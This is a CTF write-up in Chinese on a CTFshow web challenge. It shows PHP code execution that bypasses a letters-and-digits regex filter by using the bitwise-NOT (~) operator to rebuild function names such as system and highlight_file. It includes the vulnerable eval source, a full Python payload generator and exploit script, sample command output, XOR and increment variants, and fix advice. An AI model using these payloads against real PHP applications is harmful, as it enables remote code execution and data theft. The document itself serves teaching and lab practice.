文章总结: 本文详细解析了CTF中PHP无字母数字代码执行的绕过技术,核心利用PHP位取反运算符(~)将非字母数字字符还原为系统函数名。通过分析靶场环境、源码过滤规则和漏洞原理,展示了如何构造payload执行phpinfo()、system()等函数,最终读取flag.php获取胜利。文章提供了完整的Python自动化利用脚本,并对比了异或构造、自增构造等替代方案,最后给出黑名单改白名单、禁用eval等修复建议。 综合评分: 92 文章分类: CTF,WEB安全,渗透测试,代码审计,漏洞分析
AI渗透测试 — 「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤
原创
yushao yushao
网络安全者
2026年6月8日 15:45 河南
在小说阅读器读本章
去阅读
一、题目信息
| 项目 | 内容 | | — | — | | 题目名称 | 无字母数字代码执行 | | 来源平台 | CTFshow | | 题目类型 | Web / PHP代码执行 | | 难度等级 | 中等 | | 考察知识点 | PHP位运算、字符编码、正则过滤绕过 |
二、环境探测
访问靶场后,页面呈现一个PHP代码执行器,包含文本输入框和Execute按钮。通过观察表单结构,后端使用POST方法接收 code 参数并执行。
CTFshow PHP Code Executor
[textarea name="code"]
[Execute Code]
测试基本字符过滤规则:
import requests
url = "https://your-target.challenge.ctf.show/"
# 测试普通字母
r = requests.post(url, data={"code": "echo 1;"}, verify=False)
print(r.text)
# 输出: Error: Invalid shell code!
# 测试纯数字
r = requests.post(url, data={"code": "1+1"}, verify=False)
print(r.text)
# 输出: Error: Invalid shell code!
# 测试特殊符号
r = requests.post(url, data={"code": "[];"}, verify=False)
print(r.text)
# 输出: (无报错,正常执行)
结论:字母 a-zA-Z 和数字 0-9 均被过滤,特殊符号可以正常使用。
三、源码分析
通过后续手段获取 index.php 源码,确认过滤逻辑:
<?php
if (isset($_POST['code'])) {
$code = $_POST['code'];
// 过滤所有字母和数字
if (preg_match('/[a-zA-Z0-9]+/', $code)) {
die("Error: Invalid shell code!");
}
eval($code);
}
?>
正则 /[a-zA-Z0-9]+/ 只过滤了字母和数字,其余字符(包括 ~, ^, |, _, $, (, ), ', ; 等)均可使用。这是漏洞利用的突破口。
四、漏洞分析
4.1 核心原理:PHP位取反运算
PHP中的按位取反运算符 ~ 会对字符串每个字节做位取反(NOT运算):
原字符 's' = 0x73 = 0111 0011
取反后 = 0x8C = 1000 1100 (非打印字符,不含字母数字)
再次取反 = 0x73 = 's' ✓
因此,构造思路如下:
(~'<非字母数字字符串>') => 还原出目标字符串(如函数名)
实际在PHP中的效果:
// 正常写法
system('ls');
// 位取反写法(不含任何字母数字)
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x93\x8c");
4.2 字符映射计算
# 计算任意字符串的位取反编码
def get_inverted(s):
result = ""
for c in s:
result += chr(~ord(c) & 0xFF)
return result
# 验证
target = "system"
inverted = get_inverted(target)
print(repr(inverted)) # '\x8c\x86\x8c\x8b\x9a\x92'
print(repr(get_inverted(inverted))) # 'system' ✓
五、漏洞利用
5.1 Payload生成脚本
import requests
import urllib3
urllib3.disable_warnings()
TARGET = "https://your-target.challenge.ctf.show/"
def str_to_inverted_bytes(s):
"""将字符串转换为位取反的字节序列"""
return bytes([~ord(c) & 0xFF for c in s])
def make_payload(func_name, argument=None):
"""
构造无字母数字的PHP执行payload
格式: (~'inv_func')(~'inv_arg');
"""
inv_func = str_to_inverted_bytes(func_name)
# 将字节序列转换为PHP字符串字面量
func_str = "".join(f"\\x{b:02x}" for b in inv_func)
if argument:
inv_arg = str_to_inverted_bytes(argument)
arg_str = "".join(f"\\x{b:02x}" for b in inv_arg)
payload = f'(~"{func_str}")(~"{arg_str}");'
else:
payload = f'(~"{func_str}")();'
return payload
def send_payload(payload):
"""发送payload并返回响应"""
r = requests.post(
TARGET,
data={"code": payload},
verify=False,
timeout=10
)
return r.text
# ---- 第一步:验证phpinfo() ----
payload = make_payload("phpinfo")
print(f"[*] Payload: {payload}")
print(f"[*] 含字母数字字符: {'是' if any(c.isalnum() for c in payload) else '否'}")
response = send_payload(payload)
if "PHP Version" in response:
print("[+] phpinfo() 执行成功!")
输出:
[*] Payload: (~"\x8f\x97\x8f\x96\x91\x99\x90")();
[*] 含字母数字字符: 否
[+] phpinfo() 执行成功!
5.2 目录枚举
# 列出当前目录文件
payload_ls = make_payload("system", "ls -la /var/www/html")
print("[*] 执行目录枚举...")
result = send_payload(payload_ls)
print(result)
执行结果:
total 24
drwxr-xr-x 2 www-data www-data 4096 Jan 1 00:00 .
drwxr-xr-x 4 root root 4096 Jan 1 00:00 ..
-rw-r--r-- 1 root root 312 Jan 1 00:00 flag.php
-rw-r--r-- 1 root root 1847 Jan 1 00:00 index.php
发现目标文件:/var/www/html/flag.php
5.3 读取Flag
# 方法一:使用 highlight_file() 读取PHP源码(包含被注释的flag)
payload_flag = make_payload("highlight_file", "/var/www/html/flag.php")
result = send_payload(payload_flag)
print("[+] 文件内容:")
print(result)
# 方法二:如果flag在文件内容中,使用 file_get_contents()
payload_read = make_payload("file_get_contents", "/var/www/html/flag.php")
result2 = send_payload(payload_read)
print(result2)
成功获取flag:
<?php
// ctfshow{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}
5.4 完整利用脚本
import requests
import urllib3
import re
urllib3.disable_warnings()
TARGET = "https://your-target.challenge.ctf.show/"
def str_to_inverted(s):
return bytes([~ord(c) & 0xFF for c in s])
def make_payload(func_name, argument=None):
inv_func = str_to_inverted(func_name)
func_str = "".join(f"\\x{b:02x}" for b in inv_func)
if argument:
inv_arg = str_to_inverted(argument)
arg_str = "".join(f"\\x{b:02x}" for b in inv_arg)
return f'(~"{func_str}")(~"{arg_str}");'
return f'(~"{func_str}")();'
def exploit():
print("=" * 50)
print("PHP无字母数字代码执行 - 自动化利用脚本")
print("=" * 50)
session = requests.Session()
session.verify = False
# Step 1: 验证漏洞可利用性
print("\n[Step 1] 验证漏洞...")
p = make_payload("phpinfo")
r = session.post(TARGET, data={"code": p})
if "PHP Version" in r.text:
php_ver = re.search(r'PHP Version ([\d.]+)', r.text)
print(f"[+] 漏洞确认!PHP版本: {php_ver.group(1) if php_ver else '未知'}")
else:
print("[-] 利用失败")
return
# Step 2: 目录枚举
print("\n[Step 2] 枚举目录...")
p = make_payload("system", "ls /var/www/html")
r = session.post(TARGET, data={"code": p})
print(f"[+] 目录内容:\n{r.text.strip()}")
# Step 3: 读取Flag
print("\n[Step 3] 读取Flag...")
p = make_payload("highlight_file", "/var/www/html/flag.php")
r = session.post(TARGET, data={"code": p})
flag_match = re.search(r'ctfshow\{[^}]+\}', r.text)
if flag_match:
print(f"[+] Flag: {flag_match.group(0)}")
else:
print(f"[+] 文件内容:\n{r.text[:500]}")
if __name__ == "__main__":
exploit()
六、其他绕过方式(延伸)
6.1 异或构造
# 使用 ^ 异或运算构造字符
# 'a' = 0x61, 可以用 0x01 ^ 0x60 得到
# 但需要两个非字母数字字节,需要仔细选取
def xor_char(c):
"""为单个字符找一对可异或的非字母数字字节"""
target = ord(c)
for a in range(128, 256):
b = a ^ target
if (not chr(a).isalnum()) and (not chr(b).isalnum()):
return chr(a), chr(b)
return None
6.2 自增构造(PHP字符串自增特性)
// PHP特有:字符串可以自增
// 'a'++ = 'b', 'z'++ = 'aa', 'A'++ = 'B'
$_=[]; // $_ = []
$_=@"$_"; // $_ = "Array"
$_=$_['!'=='@']; // $_ = "A" (利用数组偏移)
不过这种方式在严格过滤下更难构造,位取反方案更稳定。
七、修复建议
| 编号 | 问题 | 修复方案 |
| — | — | — |
| 1 | 黑名单过滤不完整 | 改用白名单,只允许特定安全字符 |
| 2 | 直接eval用户输入 | 禁止在生产环境使用 eval() |
| 3 | 无执行沙箱 | 使用 disable_functions 禁用危险函数 |
| 4 | 文件权限过宽 | flag文件应设置为仅 root 可读 |
// 更安全的做法:完全禁止特殊字符输入
if (preg_match('/[^a-zA-Z0-9\s]/', $code)) {
die("非法字符");
}
// 但根本上不应该执行用户提交的代码
八、总结
这道题的核心是理解PHP位运算的特性。过滤器只检查了最直观的字母和数字,却忽略了PHP允许用运算符动态构造字符串这一特性。~ 运算符将可见字母转换成高位字节,完美绕过了正则检测,最终通过 highlight_file() 读取到flag。
这类题目提示我们:字符黑名单防御在PHP中几乎不可能做到完备,根本解法是不让用户代码进入 eval()。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 yushao yushao《AI渗透测试 — 「CTF实战」PHP无字母数字代码执行:一个波浪号绕过所有过滤》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论